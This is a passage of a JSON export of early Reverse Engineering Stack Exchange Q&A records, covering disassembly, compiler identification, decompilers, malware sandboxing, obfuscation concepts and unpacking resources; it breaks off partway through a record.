[
    {
        "Id": "1",
        "CreationDate": "2013-03-19T19:05:55.320",
        "Body": "<p>When we're doing reverse engineering, we have a few levels of models. One of them is the instruction semantics model, which tells us what every native instruction does to modify instruction state. We're making progress there. However, another problem is that of platform semantics, which is at a higher level. </p>\n\n<p>For example, a high-level model of a userspace linux program would need to include information about mprotect and that it can alter the visibility of certain regions of code. Threading and callback semantics are also a platform modeling issue, we can discover a programs entrypoint from its header (which is another kind of semantic! but one we're probably not going to compromise on), but other entrypoints are published in the program in the form of arguments to atexit, pthread_create, etc. </p>\n\n<p>What is our current best effort/state of the art at capturing this high level platform information in a way that is understood by practicioners? What about by mechanical / automated understanding systems? I know that IDA has (or has to have) information about different platform APIs, it seems to know that when an immediate is a parameter to pthread_create then that immediate is a pointer to code and should be treated as such. What do we have beyond that?</p>\n",
        "Title": "What is the current state of the art for platform modeling?",
        "Tags": "|code-modeling|",
        "Answer": "<h2>Direct Detection</h2>\n\n<p>At the lowest level you can just have copies of the libraries and check if they are the one used. </p>\n\n<h2>Signature based Detection</h2>\n\n<p>At a higher level than that is <a href=\"https://www.hex-rays.com/products/ida/tech/flirt/index.shtml\">IDA FLIRT</a> which stores just enough information about a library to identify its use. But its main benefit is reduced disk usage... it is worth noting that you can add more definitions to the default ones.</p>\n\n<p>Hex-Rays talks about the technology <a href=\"https://www.hex-rays.com/products/ida/tech/flirt/in_depth.shtml#implementation\">in-depth here</a>.</p>\n\n<h2>Generic recognition</h2>\n\n<p>Tools like Coverity or the <a href=\"http://clang-analyzer.llvm.org/\">Clang static analyzer</a> or <a href=\"http://klee.llvm.org/\">KLEE</a> are more general and more likely to include models for programming idioms.</p>\n\n<p>The only thing I know of coming close to IDA that is open source is <a href=\"https://github.com/radare/radare2\">radare</a> which might have some library recognition. Also <a href=\"http://www.radare.org/\"><code>radare</code>'s main page</a>. And I have been looking since I am hunting something like IDA that supports SPARC for free and it looks like <code>radare</code> does although I haven't had time it give it a go yet.</p>\n\n<p>From what I can tell REC and Boomerang do not recognize libraries the way IDA does, but instead just attempt to decompile everything. <a href=\"http://bap.ece.cmu.edu/\">BAP</a> does analysis of binaries and is derived from the Vine component of the BitBlaze project the two projects below are part of as well.</p>\n\n<h2>Flow Analysis</h2>\n\n<p>TEMU and Rudder <a href=\"http://bitblaze.cs.berkeley.edu/#projects\">here</a> look to be quite advanced. And deal with code as it executes. TEMU helps to relate imputs and outputs to the flow. </p>\n\n<p>It is also worth noting that the Bitblaze tools are designed to provide traces for use in IDA although they could probably be adapted for use otherwise.</p>\n\n<p>Going off of the specifics you provided <a href=\"http://bitblaze.cs.berkeley.edu/temu.html\">TEMU</a> sounds the closest to what you want.... it allows you to mark tainted inputs (memory locations, physical inputs etc...) and detect the effects of those taints on the execution. If you want to try out TEMU and are on a newer Linux distro (anything with GCC 4+ which is most anything in the past few years) follow the <a href=\"https://groups.google.com/forum/?fromgroups#!topic/bitblaze-users/QdoY9l8D-ho\">instructions here</a>.</p>\n"
    },
    {
        "Id": "4",
        "CreationDate": "2013-03-19T19:24:53.760",
        "Body": "<p>I took a basic 40-hr Reverse Engineering course a few summers ago. While teaching us to use IDAPro, the instructor demonstrated, rather quickly and without explaining much, how to label certain variables in the ASM as members of a structure, basically equivalent to a good old fashioned <code>struct</code> in C/C++, and treat them as such wherever they are seen in the rest of the code. This seems rather useful to me.</p>\n\n<p>What he did not cover, however, was how to identify a structure. How do you know when a group of variables does in fact constitute a structure and not just a set of related variables? How can you be sure that the author used a <code>struct</code> (or something similar) there?</p>\n",
        "Title": "How is a structure located within a disassembled program?",
        "Tags": "|ida|assembly|struct|",
        "Answer": "<p>As others have said, I usually look for a function call where a reference is passed - but I also look for instances where a malloc'ed buffer is returned (this is how you know/confirm the size of the structure) - and various members of the 'buffer' are set/initialized.</p>\n"
    },
    {
        "Id": "5",
        "CreationDate": "2013-03-19T19:30:22.060",
        "Body": "<p>I'm writing a small utility library for hooking functions at run time. I need to find out the length of the first few instructions because I don't want to assume anything or require the developer to manually input the amount of bytes to relocate and overwrite.</p>\n\n<p>There are many great resources to learn assembly but none of them seem to go into much detail on how assembly mnemonics get turned into raw binary instructions.</p>\n",
        "Title": "How are x86 CPU instructions encoded?",
        "Tags": "|assembly|x86|",
        "Answer": "<blockquote>\n<p>There are many great resources to learn assembly but none of them seem to go into much detail on how assembly mnemonics get turned into raw binary instructions.</p>\n</blockquote>\n<p>The mnemonics aren't 'turned in' to raw binary instructions, they are the raw binary instructions. It is a human readable representation of the actual hex bytes that are encoding the instructions of the (first generation language) machine code. We typically talk about these bytes by their mnemonics for clarity.</p>\n<p>This is unlike assembly (so, second generation language such as gas or masm) or C (third generation language). Both assembly and higher generation languages are source files with a character encoding (such as UTF-8) that encodes the letters of the source code. In the case of assembly, it needs to be assembled to raw x86 bytes. The raw bytes can be disassembled by IDA into a readable form; it's called disassembly because it's presenting the mnemonic representation encoded in a character set like UTF-8 and displayed to the screen (which resembles an assembly language (a second generation language) that would be assembled to machine code -- in this case it's obviously not going to be assembled and isn't really an assembly language on it's own -- it's showing you what the assembly that was compiled to the machine code <em>would have been</em>).</p>\n<p>x86 encoding looks like this (I created a diagram):</p>\n<p><a href=\"https://i.stack.imgur.com/OnFm6.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/OnFm6.png\" alt=\"enter image description here\" /></a></p>\n<p>By the same token, CIL bytecode is a 1st generation language because the opcodes run directly on the virtual machine -- a virtual CPU. This means that the CIL bytecode does not need to be assembled or compiled from a source file with a source character set. <code>ilasm</code> shows a disassembled, mnemonic form of this bytecode.</p>\n"
    },
    {
        "Id": "11",
        "CreationDate": "2013-03-19T20:01:48.563",
        "Body": "<p>When I am looking at the machine code of an application, are there hints and patterns I can discern from the generated machine code which would indicate which compiler (and possibly version) was used to generate it?</p>\n\n<p>Does knowing the compiler used to generate an application help me to more effectively reverse engineer back from the generated object to what the source code might have been, and if it does help, how so?</p>\n",
        "Title": "What hints in machine code can point me to the compiler which was used to generate it?",
        "Tags": "|assembly|compilers|object-code|hll-mapping|",
        "Answer": "<p>I guess the first thing you should do to determine the compiler version unless you literally mean the compiler version instead of linker version, is inspect the \"MajorLinkerVersion\" and \"MinorLinkerVersion\" fields of the PE header of the executable, be it EXE, DLL, or SYS. See list below.</p>\n\n<p>Major       Minor</p>\n\n<p>0x5         0x0   (5.0)             Borland C++ / MS Linker 5.0</p>\n\n<p>0x6         0x0   (6.0)             Microsoft VIsual Studio 6</p>\n\n<p>0x7         0xA   (7.10)            Microsoft VIsual Studio 2003</p>\n\n<p>0x8         0x0   (8.0)             Microsoft VIsual Studio 2005</p>\n\n<p>0x9         0x0   (9.0)             Microsoft VIsual Studio 2008</p>\n\n<p>0xA         0x0   (10.0)            Microsoft VIsual Studio 2010</p>\n\n<p>0x2         0x15  (2.21)            MinGw</p>\n\n<p>0x2         0x19  (2.0.0.25)        Borland Delphi (linker 2.0.0.25)</p>\n\n<p>Unfortunately, packers and protectors tend to overwrite these value to write their own and/or harden the process of guessing the original compiler. </p>\n\n<p>Also, the resource directory of an executable is a good place to search for specific linker info. e.g. RT_RCDATA having a resource named \"DVCLAL\" is a sign of Borland C++ or Delphi and the \"RT_MANIFEST\" in case of a MSVC-built executable can tell us about the specfic version of runtime DLL's it is linked to and hence the compiler version.</p>\n\n<p>Also, an executable with the \"TimeDateStamp\" field set to 0x2A425E19 is a sign of being built with Delphi.</p>\n\n<p>Now, if you want to determine compiler from assembly code, then the sign of a recent MSVC compiler version is seeing the function that generates the stack cookie just at the entry point.</p>\n\n<p>Seeming, a JMP instruction at the entry point followed by the string \"fb:C++Hook\" is a sign of Borland C++, and so on.</p>\n"
    },
    {
        "Id": "23",
        "CreationDate": "2013-03-19T21:27:57.400",
        "Body": "<p>I've recently managed to isolate and archive a few files that managed to wreak havoc on one of my client's systems. So I was wondering what software and techniques make the best sandbox for isolating the code and digging into it to find out how it works.</p>\n\n<p>Usually, up to this point in time I would just fire up a new VMWare or QEMU instance and dig away, but I am well aware that some well-written malware can break out of a VM relatively easily. So I am looking for techniques (Like using a VM with a different emulated CPU architecture for example.) and software (Maybe a sandbox suite of the sorts?) to mitigate the possibility of the code I am working on \"breaking out\".</p>\n\n<p>What techniques do you recommend? What software do you recommend?</p>\n",
        "Title": "How can I analyze a potentially harmful binary safely?",
        "Tags": "|virtual-machines|malware|sandbox|security|",
        "Answer": "<p>Literally, for a first look on malware, you won't need anything special locally installed.\nThere are enough online sandboxes you may use:</p>\n\n<ul>\n<li><a href=\"https://www.virustotal.com/\" rel=\"noreferrer\">virustotal.com</a> have their sandbox implemented using <a href=\"http://www.cuckoosandbox.org/\" rel=\"noreferrer\">Cuckoo Sandbox</a>. When you apply new sample, it automatically executed as part of analysis. After about 10-15 mins you can see the result in \"Behavioural information\"</li>\n<li><a href=\"http://anubis.iseclab.org/\" rel=\"noreferrer\">anubis.iseclab.org</a> is another place you may submit binary to see it behavior before executing it locally. Here you got report and pcap file of network activity, if any.</li>\n</ul>\n\n<p>As a result - you may get basic idea of what a binary does and how to analyse it.\nBut - please note, that sophisticated malware checks its environment for sandbox traces and VM presence. So there is a chance that the seemingly \"harmless binary\" turns out to be sophisticated malware under real conditions.</p>\n"
    },
    {
        "Id": "27",
        "CreationDate": "2013-03-19T22:51:02.077",
        "Body": "<p>I have several Solaris 2.6 era drivers I would like to reverse engineer.</p>\n\n<p>I have a Sparc disassembler which provides some info but it isn't maintained anymore so I think it may not give me all the information possible.</p>\n\n<p>The drivers are for an Sbus graphics accelerator I own. Namely the <a href=\"http://www.hyperstation.de/SBus-Framebuffer/SUN_Leo_ZX/sun_leo_zx.html\" rel=\"nofollow\">ZX aka Leo</a> one of the early 3d accelerators.</p>\n\n<p>So what are some ways I can go about reverse engineering this driver? I can disassemble it but I am not sure what to make of the output. I also have Solaris of course so perhaps there are things I can do there as well.</p>\n\n<p>The final goal is to have enough information to design a driver for an Operating System. There are drivers for NetBSD, although incomplete as the hardware documentation that does exist (isn't free to access) does not have the Window ID encoding as it is missing. Also, since the hardware uses an Sbus interface on a double wide <a href=\"http://en.wikipedia.org/wiki/PCI_Mezzanine_Card\" rel=\"nofollow\">mezzanine card</a>, it would be impractical to use it on anything but a SparcStation or early UltraSparc machine.</p>\n",
        "Title": "Reverse engineering a Solaris driver",
        "Tags": "|sparc|solaris|driver|sbus|",
        "Answer": "<p>Well, since it's a Solaris driver, first you need to find up some docs on how Solaris drivers communicate with the kernel (or kernel with them). A quick search turned up <a href=\"http://docs.oracle.com/cd/E19455-01/806-0638/6j9vrvct2/index.html\" rel=\"nofollow\">this</a>:</p>\n\n<blockquote>\n  <p><code>_init()</code> initializes a loadable module. It is called before any other routine in a loadable module. <code>_init()</code> returns the value returned by\n  <code>mod_install(9F)</code> . The module may optionally perform some other work\n  before the <code>mod_install(9F)</code> call is performed. If the module has done\n  some setup before the <code>mod_install(9F)</code> function is called, then it\n  should be prepared to undo that setup if <code>mod_install(9F)</code> returns an\n  error.</p>\n  \n  <p><code>_info()</code> returns information about a loadable module. <code>_info()</code> returns the value returned by <code>mod_info(9F)</code>. </p>\n  \n  <p><code>_fini()</code> prepares a loadable module for unloading. It is called when the system wants to unload a module. If the module determines that it\n  can be unloaded, then <code>_fini()</code> returns the value returned by\n  <code>mod_remove(9F)</code>. Upon successful return from <code>_fini()</code> no other routine\n  in the module will be called before <code>_init()</code> is called.</p>\n</blockquote>\n\n<p>There's a nice code sample below.</p>\n\n<p><a href=\"http://docs.oracle.com/cd/E18752_01/html/816-4855/config12-9.html\" rel=\"nofollow\">This guide</a> also seems relevant.</p>\n\n<p>Once you found the entry points, it's just a matter of following the calls and pointers. </p>\n\n<p>Here's how it looks in IDA:</p>\n\n<pre><code>.text:00000000 _init:                                  ! DATA XREF: leo_attach+5A8o\n.text:00000000                                         ! leo_attach+5BCo ...\n.text:00000000                 save    %sp, -0x60, %sp\n.text:00000004                 sethi   %hi(leo_debug), %i2\n.text:00000008                 ld      [leo_debug], %o0\n.text:0000000C                 cmp     %o0, 4\n.text:00000010                 bl      loc_38\n.text:00000014                 sethi   %hi(leo_state), %o0\n.text:00000018                 set     aLeoCompiledSS, %o0 ! \"leo: compiled %s, %s\\n\"\n.text:00000020                 set     a141746, %o1    ! \"14:17:46\"\n.text:00000028                 sethi   %hi(aLeo_c6_6Jun251), %l0 ! \"leo.c 6.6 Jun 25 1997 14:17:46\"\n.text:0000002C                 call    leo_printf\n.text:00000030                 set     aJun251997, %o2 ! \"Jun 25 1997\"\n.text:00000034                 sethi   %hi(leo_state), %o0\n.text:00000038\n.text:00000038 loc_38:                                 ! CODE XREF: _init+10j\n.text:00000038                 set     leo_state, %i1\n.text:0000003C                 sethi   %hi(0x1800), %l0\n.text:00000040                 mov     %i1, %o0\n.text:00000044                 set     0x1980, %o1\n.text:00000048                 call    ddi_soft_state_init\n.text:0000004C                 mov     1, %o2\n.text:00000050                 orcc    %g0, %o0, %i0\n.text:00000054                 bne,a   loc_80\n.text:00000058                 ld      [%i2+(leo_debug &amp; 0x3FF)], %o0\n.text:0000005C                 sethi   %hi(0x14C00), %l0\n.text:00000060                 call    mod_install\n.text:00000064                 set     modlinkage, %o0\n.text:00000068                 orcc    %g0, %o0, %i0\n.text:0000006C                 be,a    loc_80\n.text:00000070                 ld      [%i2+(leo_debug &amp; 0x3FF)], %o0\n.text:00000074                 call    ddi_soft_state_fini\n.text:00000078                 mov     %i1, %o0\n.text:0000007C                 ld      [%i2+(leo_debug &amp; 0x3FF)], %o0\n.text:00000080\n.text:00000080 loc_80:                                 ! CODE XREF: _init+54j\n.text:00000080                                         ! _init+6Cj\n.text:00000080                 cmp     %o0, 4\n.text:00000084                 bl      locret_9C\n.text:00000088                 nop\n.text:0000008C                 set     aLeo_initDoneRe, %o0 ! \"leo: _init done, return(%d)\\n\"\n.text:00000094                 call    leo_printf\n.text:00000098                 mov     %i0, %o1\n.text:0000009C\n.text:0000009C locret_9C:                              ! CODE XREF: _init+84j\n.text:0000009C                 ret\n.text:000000A0                 restore\n.text:000000A0 ! End of function _init\n</code></pre>\n\n<p>At 0x60 you can see <code>mod_install</code> being called with a pointer to <code>modlinkage</code>, so you can follow there and see what the fields are pointing to.</p>\n\n<p>But you don't even have to do that all the time. In this case, the programmers very thoughtfully left intact all the symbols and debug output. This should help you in your work :)</p>\n\n<p>Depending on situation, you may skip straight to the helpfully-named functions like <code>leo_blit_sync_start</code> or <code>leo_init_ramdac</code>. I personally prefer the first way, top-down, but to each his own.</p>\n\n<p><strong>EDIT</strong>: one rather simple thing you can do is to patch the <code>leo_debug</code> variable at the start of <code>.data</code> section to 5 or so. That should produce a lot of debug output about the operations the driver is performing.</p>\n"
    },
    {
        "Id": "34",
        "CreationDate": "2013-03-20T01:43:12.077",
        "Body": "<p>Let's say I have a .jar file and wrap it into a .exe using any number of free utilities out there, like <a href=\"http://jsmooth.sourceforge.net/\">JSmooth</a>.</p>\n\n<p>Would it be possible to tell, given just the .exe, if it was generated using one such utility from a .jar file?</p>\n",
        "Title": "Checking if an .exe is actually a .jar wrapped in an .exe",
        "Tags": "|decompilation|java|jar|pe|",
        "Answer": "<p>You can simply grep the file for \"<code>javaw.exe</code>\" or <code>java.exe</code>... This will usually be a pretty good indicator whether or not the program is a Java wrapper or not.</p>\n\n<pre><code>archenoth@Hathor ~/apps/Minecraft $ grep javaw.exe /host/Windows/notepad.exe \narchenoth@Hathor ~/apps/Minecraft $ grep javaw.exe ./Minecraft.exe \nBinary file ./Minecraft.exe matches\narchenoth@Hathor ~/apps/Minecraft $ \n</code></pre>\n\n<p>This is because wrappers usually contain the following:</p>\n\n<p><img src=\"https://i.stack.imgur.com/00AAL.png\" alt=\"enter image description here\"></p>\n"
    },
    {
        "Id": "42",
        "CreationDate": "2013-03-20T09:02:41.433",
        "Body": "<p>The Android java code is compiled into Dalvik byte code, which is quite readable. I wonder, is it possible in theory and in practice to write a decompilation software for Dalvik byte code?</p>\n",
        "Title": "Decompiling Android application",
        "Tags": "|decompilation|java|android|byte-code|",
        "Answer": "<p>Another tool is <strong>Bytecode Viewer</strong>: </p>\n\n<p><a href=\"https://github.com/Konloch/bytecode-viewer\" rel=\"nofollow\">https://github.com/Konloch/bytecode-viewer</a></p>\n\n<blockquote>\n  <p>Bytecode Viewer is an Advanced Lightweight Java Bytecode Viewer, GUI\n  Java Decompiler, GUI Bytecode Editor, GUI Smali, GUI Baksmali, GUI APK\n  Editor, GUI Dex Editor, GUI APK Decompiler, GUI DEX Decompiler, GUI\n  Procyon Java Decompiler, GUI Krakatau, GUI CFR Java Decompiler, GUI\n  FernFlower Java Decompiler, GUI DEX2Jar, GUI Jar2DEX, GUI Jar-Jar, Hex\n  Viewer, Code Searcher, Debugger and more. It's written completely in\n  Java, and it's open sourced. It's currently being maintained and\n  developed by Konloch.</p>\n</blockquote>\n"
    },
    {
        "Id": "43",
        "CreationDate": "2013-03-20T09:13:52.113",
        "Body": "<p>I am trying to scan all possible techniques to disrupt the usage of a debugger on a Unix platform (ie POSIX and a bit more).</p>\n\n<p>I am thinking about techniques such as the <code>PTRACE</code> test at the beginning of a program (or at various points of its execution), the insertion of fake breakpoints (eg <code>int3</code>/<code>0xcc</code> x86 opcode) or time checks. But, also global strategies defined on the program to slow down the analysis of the program.</p>\n\n<p>For now, all the techniques I found on Internet were easily worked around as soon as the anti-debug technique has been understood. So, I wonder if there are stronger ones.</p>\n",
        "Title": "Anti-debug techniques on Unix platforms?",
        "Tags": "|assembly|obfuscation|anti-debugging|",
        "Answer": "<p>They aren't any, do not try to do the mathematically impossible.</p>\n<blockquote>\n<p>For now, all the techniques I found on Internet were easily worked\naround as soon as the anti-debug technique has been understood. So, I\nwonder if there are stronger ones.</p>\n</blockquote>\n<p>Yes, because there is no way of detecting a debugger that can not be faked.\nSoftware can not detect if it runs in a perfect emulation or in the real world. And a emulator can be stopped, the software can be analyzed, variables can be changed, basically everything can be done that can be done in a debugger.</p>\n<p>Let's say you want to detect if the parent process is a debugger. So you make a system call to get the parent PID? The debugger can intercept the system call and return any PID which does not have to be the real PID. You want to intercept every SIGTRAP so the debugger can't use it anymore? Well the debugger can just stop in this case and send the SIGTRAP also to your process. You want to measure the time when you send SIGTRAP to know if the process stops for a short time by the debugger for sending SIGTRAP so you know when there is a debugger? The debugger can replace your calls to get the time and return a fake time. Let's say you run on a Processor that has a instruction that returns the time, so no function call is needed to get the time. Now you can know that the time you are getting is real? No, the debugger can replace this instruction with a SIGTRAP instruction and return any time he wants or in case such a instruction does not exist, run the Software in a emulator that can be programmed in any way. Everything you can come up with to detect a debugger or emulator can be faked by the environment and you have 0 change to detect it.</p>\n<p>The only way to stop debugging is by not giving the software to the customers but keep it in your hands. Make a cloud service and run the software on your server. In this case the customer can not debug your program since he does not run it and has no control over it. Except the customer can access the server or the data somehow, but that is a different story.</p>\n"
    },
    {
        "Id": "45",
        "CreationDate": "2013-03-20T09:35:01.860",
        "Body": "<p>FHE (Fully Homomorphic Encryption) is a cryptographic encryption schema in which it is possible to perform arithmetic operations on the ciphered text without deciphering it.</p>\n\n<p>Though there is no really efficient crypto-system with this property at this time, several proofs of concepts show that this kind of cryptography does actually exist. And, that, maybe one day, we might find an efficient crypto-system with the FHE properties.</p>\n\n<p>For now, the usage of FHE is mainly directed towards \"Cloud Computing\" where one want to delegate a costly computation to a remote computer without spreading his data away. So, the principle is just to send out encrypted data and the Cloud will apply a given computation on the data and send back the encrypted answer without having knowledge of what is inside.</p>\n\n<p>The link with code obfuscation is quite obvious as if we can perfectly obfuscate data, then we can also perfectly obfuscate the algorithm by coding it into a universal Turing machine. But, the Devil is always in the details. A recent paper [<a href=\"http://eprint.iacr.org/2011/675\">1</a>] presents a way to use the FHE for obfuscation, but in a too stronger way (in my humble opinion).</p>\n\n<p>My question is the following: Suppose we have an efficient FHE schema, suppose also that our goal is to slow down the analysis of a program (and not totally prevent it). Then, what would be the most efficient usage of the FHE in obfuscation ?</p>\n",
        "Title": "Usage of FHE in obfuscation?",
        "Tags": "|obfuscation|cryptography|",
        "Answer": "<p>What is functional encryption for all circuits and indistinguishability obfuscation for all circuits ?</p>\n\n<ol>\n<li>A proposed <strong>indistinguishability obfuscation</strong> for NC1 circuits where\nthe security is based on the so called Multilinear Jigsaw Puzzles (a\nsimplified variant of multilinear maps).</li>\n<li>Pair the contribution in 1 with <strong>Fully Homomorphic Encryption</strong> and you\nget indistinguishability obfuscation for all circuits.</li>\n<li>Combine 2 with <strong>public key encryption and non-interactive\nzero-knowledge proofs</strong> and you <strong>functional encryption for all\ncircuits</strong>. I believe that prior to <a href=\"http://www.rdmag.com/news/2013/07/computer-scientists-develop-mathematical-jigsaw-puzzles-encrypt-software?et_cid=3395460&amp;et_rid=54755808&amp;location=top\" rel=\"nofollow\">this</a>, functional encryption for all\ncircuits was not possible.</li>\n</ol>\n"
    },
    {
        "Id": "47",
        "CreationDate": "2013-03-20T09:43:11.807",
        "Body": "<p>Is it possible to create an object file using <code>gcc</code> that cannot be reverse engineered to its source code ?</p>\n",
        "Title": "Can I create an object file using gcc that cannot be reverse engineered?",
        "Tags": "|c|object-code|",
        "Answer": "<p>While it's not possible to obfuscate object files, it is possible to obfuscate the underlying assembly file. There is no such thing as name obfuscation in C++ since references are by address, not by name. Using full optimization (-O3 -Ob2 -flto) can also make it hard to reverse engineer your code. Also, you can also use VMProtect/Denuvo to encrypt and obfuscate your executable.</p>\n<p>You may find those posts useful</p>\n<p><a href=\"https://stackoverflow.com/questions/137038/how-do-you-get-assembler-output-from-c-c-source-in-gcc\">https://stackoverflow.com/questions/137038/how-do-you-get-assembler-output-from-c-c-source-in-gcc</a></p>\n<p><a href=\"https://reverseengineering.stackexchange.com/a/22052/33533\">https://reverseengineering.stackexchange.com/a/22052/33533</a></p>\n"
    },
    {
        "Id": "53",
        "CreationDate": "2013-03-20T12:06:39.137",
        "Body": "<p>This comes from comments on a question on StackOverflow about JavaScript Variables: <a href=\"https://stackoverflow.com/a/7451569/1317805\">Why aren't \u25ce\u072b\u25ce and \u263a valid JavaScript variable names?</a></p>\n\n<p>JavaScript accepts zero-width characters as valid variable names, for example all three of these variables have different names but are visually identical:</p>\n\n<pre><code>var ab, /* ab */\n    a\u200db, /* a&amp;zwj;b */\n    a\u200cb; /* a&amp;zwnj;b */\n</code></pre>\n\n<p>Here's a <a href=\"http://jsfiddle.net/MYLx9/\" rel=\"noreferrer\">JSFiddle</a> example of the above three variables in use.</p>\n\n<p>What are the pros and cons of doing this as an obfuscation technique for JavaScript (and other supporting languages)?</p>\n",
        "Title": "Obfuscating JavaScript with zero-width characters - pros and cons?",
        "Tags": "|obfuscation|javascript|",
        "Answer": "<p>This <a href=\"http://jsbeautifier.org/\" rel=\"noreferrer\">also breaks some beautifers</a> (but <a href=\"http://www.javascriptbeautifier.com/\" rel=\"noreferrer\">not all</a>). For example, running your code through JS Beautifier:</p>\n\n<pre><code>   var ab = \"Hello, world!\",\n       a\u200d b = \"Completely different string!\",\n       a\u200c b = \"Yet another completely different string!\";\n\ndocument.getElementById('result1').innerHTML = ab;\ndocument.getElementById('result2').innerHTML = a\u200d b;\ndocument.getElementById('result3').innerHTML = a\u200c b;\n</code></pre>\n\n<p>(Note the spaces in between \"a\" and \"b\".)</p>\n\n<p>You could argue that this is a pro and a con. Depending on exactly how confusing you make the code, it may be even more confusing to see random spaces being injected. On the other hand, it also alerts the reader that something is definitely up.</p>\n"
    },
    {
        "Id": "59",
        "CreationDate": "2013-03-20T12:57:53.483",
        "Body": "<p>I'm a bit of a novice with IDA Pro, and have been discovering some of the excellent plugins available from the RE community as well as its vendors. My small list of plugins that I have found extremely valuable to me are:</p>\n\n<ul>\n<li><a href=\"https://www.hex-rays.com/products/decompiler/index.shtml\">Hex-Rays Decompiler</a> (commercial) - convert program to pseudo-C</li>\n<li><a href=\"http://thunkers.net/~deft/code/toolbag/\">IDA Toolbag</a> - Adds too much awesome functionality to IDA to list. <a href=\"http://thunkers.net/~deft/code/toolbag/docs.html#Usage\">Just see/read about it</a>.</li>\n<li><a href=\"https://bitbucket.org/daniel_plohmann/simplifire.idascope/\">IDAscope</a> - Function tagging/inspection, WinAPI lookup, Crypto identification</li>\n</ul>\n\n<p>Granted, this is a very short list. What IDA Pro scripts/plugins do you find essential?</p>\n",
        "Title": "What are the essential IDA Plugins or IDA Python scripts that you use?",
        "Tags": "|tools|ida|idapython|",
        "Answer": "<p>I'd like to add <a href=\"http://www.idabook.com/collabreate\" rel=\"nofollow\">collabREate</a> - plugin, which allow to do reverse engineering in the small team, all share the same IDA session.</p>\n"
    },
    {
        "Id": "60",
        "CreationDate": "2013-03-20T13:14:09.463",
        "Body": "<p>Is it legal to reverse engineer certain features of a closed source application and then integrate those features into a closed or open source application that may be either a commercial or non-commercial application ?</p>\n\n<hr>\n\n<p>Brownie points for an answer covering the situation in India.</p>\n",
        "Title": "Is reverse engineering and using parts of a closed source application legal?",
        "Tags": "|law|",
        "Answer": "<p>I think questions beginning with the clause \"Is it legal to...\" can only ever be correctly answered with certainty in a court of law. And as @0xC0000022L mentioned, you'd need to start by specifying which country you're asking about.</p>\n\n<p>Short of going to court, I think such questions can only ever be answered correctly with the phrase, \"It depends.\"</p>\n\n<p>From the other answers, it seems well-known within this community that reverse engineering something is very closely connected to both <a href=\"http://www.copyright.gov/regstat/2013/regstat03202013.html\">copyright law</a> and the <a href=\"https://www.eff.org/issues/cfaa\">Computer Fraud and Abuse Act</a>, both of which (as the links attest) are hotly contested right now in the US.</p>\n\n<p>Harvard Law School has recently published a <a href=\"http://boingboing.net/2013/03/04/copyrightx-a-massively-open-o.html\">massively open online course on copyright</a>. The professor <a href=\"http://www.tfisher.org/PTK.htm\">published a book</a> on copyright reform in 2004. He also started <a href=\"http://www.tfisher.org/Disclosure.htm\">Noank Media, Inc. in 2007</a> to try and implement one of the ideas in his book in China. Although his MOOC lectures and readings are all available globally, I'm taking this course through <a href=\"https://www.edx.org/\">edX</a> right now, and even with the benefit of several law students to help answer questions, there's still a <em>tremendous</em> amount of information and ambiguity to consider (even limiting the scope of my answer here to copyright and not dealing with the CFAA). As @JMcAfreak wrote, the DMCA also applies, and my guess is that there are several other laws that could also potentially apply to your question in the US.</p>\n\n<p>What I've learned after 8 weeks in this course is that you'd need to spend at least 12 weeks reading case law before really being able to answer the question you pose here. And as Aaron Swartz discovered, the stakes are incredibly high, and computer programmers and reverse engineers (who may routinely do some\u2014potentially illegal\u2014act thousands or millions of times through the use of a computer program) are especially vulnerable to multiple counts of illegal acts where the penalties add up very quickly.</p>\n\n<p>If you're considering doing something that makes you ask the question, then you also need to consider who might be most motivated to pursue you for illegal activity as a result, and if that's a wealthy individual or business entity, then you probably shouldn't risk it. If Shepard Fairey had used a reference photograph for <a href=\"http://en.wikipedia.org/wiki/Shepard_Fairey#Legal_issues_with_appropriation_and_fair_use\">his Obama HOPE poster</a> owned by an entity less affluent than the Associated Press, then I'm sure that situation would have ended very differently for him.</p>\n"
    },
    {
        "Id": "72",
        "CreationDate": "2013-03-20T15:25:47.117",
        "Body": "<p>I find that more and more often binaries are being packed with exe protectors such as upx, aspack etc. I tried to follow a few tutorials on how to unpack them but the examples are often quite easy while my targets are not.</p>\n\n<p>I am looking for good resources and any hints/tips on how to unpack targets.</p>\n",
        "Title": "Unpacking binaries in a generic way",
        "Tags": "|decompilation|unpacking|pe|",
        "Answer": "<p>Blackstorm portal has a huge collection of Unpacking tutorials\n<a href=\"http://portal.b-at-s.net/news.php\" rel=\"noreferrer\">Blackstorm portal tutorials</a></p>\n\n<p>Tuts4You has another large collection of unpacking tutorials\n<a href=\"https://tuts4you.com/download.php?list.19\" rel=\"noreferrer\">Tuts4You</a></p>\n\n<p>It took me a long time at first but over time unpacking got a lot easier, lots of patience and practice required though.</p>\n"
    },
    {
        "Id": "74",
        "CreationDate": "2013-03-20T15:56:57.997",
        "Body": "<p>A key tool in reverse engineering is a good disassembler, so to ensure that a disassembler is performing properly, are there any good test suites available for use to test the correctness of a disassembler?  Are these architecture specific, or can they be configured to work across multiple object architectures?  A good test should include checking the more obscure architecture instructions and malformed portable execution files.</p>\n\n<p>Here is <a href=\"http://sourceware.org/cgi-bin/cvsweb.cgi/src/gas/testsuite/gas/i386/?cvsroot=src\">one specifically for i86</a> that I have seen.  Are there any that are modular across architectures?</p>\n",
        "Title": "Are there any open source test suites for testing how well a disassembler performs?",
        "Tags": "|tools|disassembly|",
        "Answer": "<p>The <a href=\"http://radare.org\" rel=\"nofollow\">radare2</a> project uses an extensive <a href=\"https://github.com/radare/radare2-regressions/tree/master/t.asm\" rel=\"nofollow\">test-suite</a> for each of its disassembler engine, along with more specific tests, like <a href=\"https://github.com/radare/radare2-regressions/tree/master/t.formats\" rel=\"nofollow\">formats</a>, its own <a href=\"https://github.com/radare/radare2-regressions/tree/master/t.anal\" rel=\"nofollow\">analysis capabilities</a>, \u2026</p>\n"
    },
    {
        "Id": "77",
        "CreationDate": "2013-03-20T16:18:40.027",
        "Body": "<p>Are there any tools available to take an already compiled .dll or .exe file that you know was compiled from C# or Visual Basic and obtain the original source code from it?</p>\n",
        "Title": "Is there any way to decompile a .NET assembly or program?",
        "Tags": "|decompilation|dll|.net|pe|",
        "Answer": "<p>.NET assemblies (.exe and .dll) can be decompiled online at <a href=\"http://decompiler.com\" rel=\"nofollow noreferrer\">Decompiler.com</a></p>\n<p>The author is affiliated with the mentioned website it appears (username: <a href=\"http://www.Decompiler.com\" rel=\"nofollow noreferrer\">www.Decompiler.com</a>).</p>\n"
    },
    {
        "Id": "85",
        "CreationDate": "2013-03-20T17:27:34.680",
